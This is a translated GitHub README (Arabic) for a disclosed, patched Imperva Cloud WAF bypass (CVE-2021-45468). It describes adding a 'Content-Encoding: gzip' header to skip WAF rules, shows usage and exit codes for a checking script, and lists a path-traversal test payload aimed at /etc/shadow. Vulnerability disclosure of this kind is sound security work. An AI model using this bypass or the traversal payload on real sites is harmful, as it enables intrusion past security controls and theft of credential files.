0xhaggis/imperva_gzip_bypassاستغلال لـ CVE-2021-45468، وهو تجاوز لجدار الحماية Imperva WAF.
كان جدار حماية تطبيقات الويب السحابي من Imperva (Cloud WAF) عرضة لثغرة تجاوز تسمح للمهاجمين بتجاوز قواعد WAF عند إرسال حمولات HTTP POST ضارة، مثل استغلالات log4j، وحقن SQL، وتنفيذ الأوامر، وتجاوز المسارات، و XXE، وغيرها.
أخذ فريق Imperva هذا الأمر على محمل الجد منذ اللحظة التي تم إبلاغهم بها، وقاموا بتنفيذ إصلاح عالمي في غضون أيام قليلة. تحية لهم. جميع عملاء Cloud WAF تم تصحيحهم تلقائيًا اعتبارًا من 22 ديسمبر 2021. كان العمل مع Imperva رائعًا، ومن الواضح أن لديهم فريق أمن ناضج وماهر وقادر.
أضف الرأس Content-Encoding: gzip إلى طلبات HTTP POST. اترك بيانات POST كما هي. لا تقم بتشفيرها. طالما أن البايتات الأربعة الأولى من رأس Content-Encoding هي gzip، فلن يتم تطبيق أي قواعد WAF على طلبات POST.
يمكنك القيام بذلك في Burp باستخدام ميزة Match & Replace في الوكيل:
أضف رأسًا جديدًا بهذا الشكل:
هذا كل شيء؛ أنت جاهز للانطلاق.
قم بتشغيل imperva_gzip.py مقابل عنوان URL يدعم طلبات POST مثل هذا:
الصيغة:
./imperva_gzip.py [[-t] | [-r]] URL
تخمين نوع WAF لعنوان URL معين:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
تحقق مما إذا كان WAF عرضة لتجاوز gzip:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200
إذا حصلت على هذا الخطأ:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
فجرب تمرير -r في سطر الأوامر لتمكين الوضع المرن (Relaxed mode). الوضع المرن معطل افتراضيًا، مما يعني أن طلب POST من المتوقع أن يحصل على استجابة HTTP 200 من الخادم. يوسع -r الاستجابات المقبولة لتشمل HTTP 2xx، 3xx.
رموز الخروج لـ imperva_gzip.py هي كما يلي:
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.
أرسل ثلاثة طلبات POST:
&test=../../../../../../../etc/shadow في الجسم للتحقق من أن Imperva يحظره.Content-Encoding: gzip إلى نفس الطلب الضار وتحقق من أن Imperva لا يحظره.وفقًا لـ https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding، هناك أربع قيم صالحة لرأس Content-Encoding:
compressdeflategzipbrأثناء الاختبار، نجح gzip فقط كتجاوز.
Cloud WAF مُدار بواسطة Imperva. نتيجة لذلك، تؤثر التحديثات على Cloud WAF على جميع العملاء تقريبًا في نفس الوقت تقريبًا. تم تصحيحه لجميع العملاء اعتبارًا من 22 ديسمبر 2021.
تم إصلاح خطأ تجاوز gzip في منتج منفصل من Imperva يُسمى SecureSphere. تحتوي ملاحظات الإصدار لـ v12.6 من SecureSphere على هذه الفقرة:
SPHR-58185: عندما فشل SecureSphere في فك ضغط جسم POST في الطلبات التي تحتوي على رأس "Content-Encoding: gzip/deflate"، لم يصدر أي تنبيه وسمح للطلب بالمرور.
أنا متأكد تمامًا من أن هذا هو نفس الخطأ، ربما بنفس موروث الكود مثل Cloud WAF... إنه خطأ محدد جدًا ليكون في منتجين. تم حل المشكلة لـ SecureSphere في فبراير 2021، لكننا لا نعرف متى تم تقديمها. من الممكن أن الثغرة كانت موجودة لسنوات!
دعم عملاء Imperva: https://www.imperva.com/support/technical-support/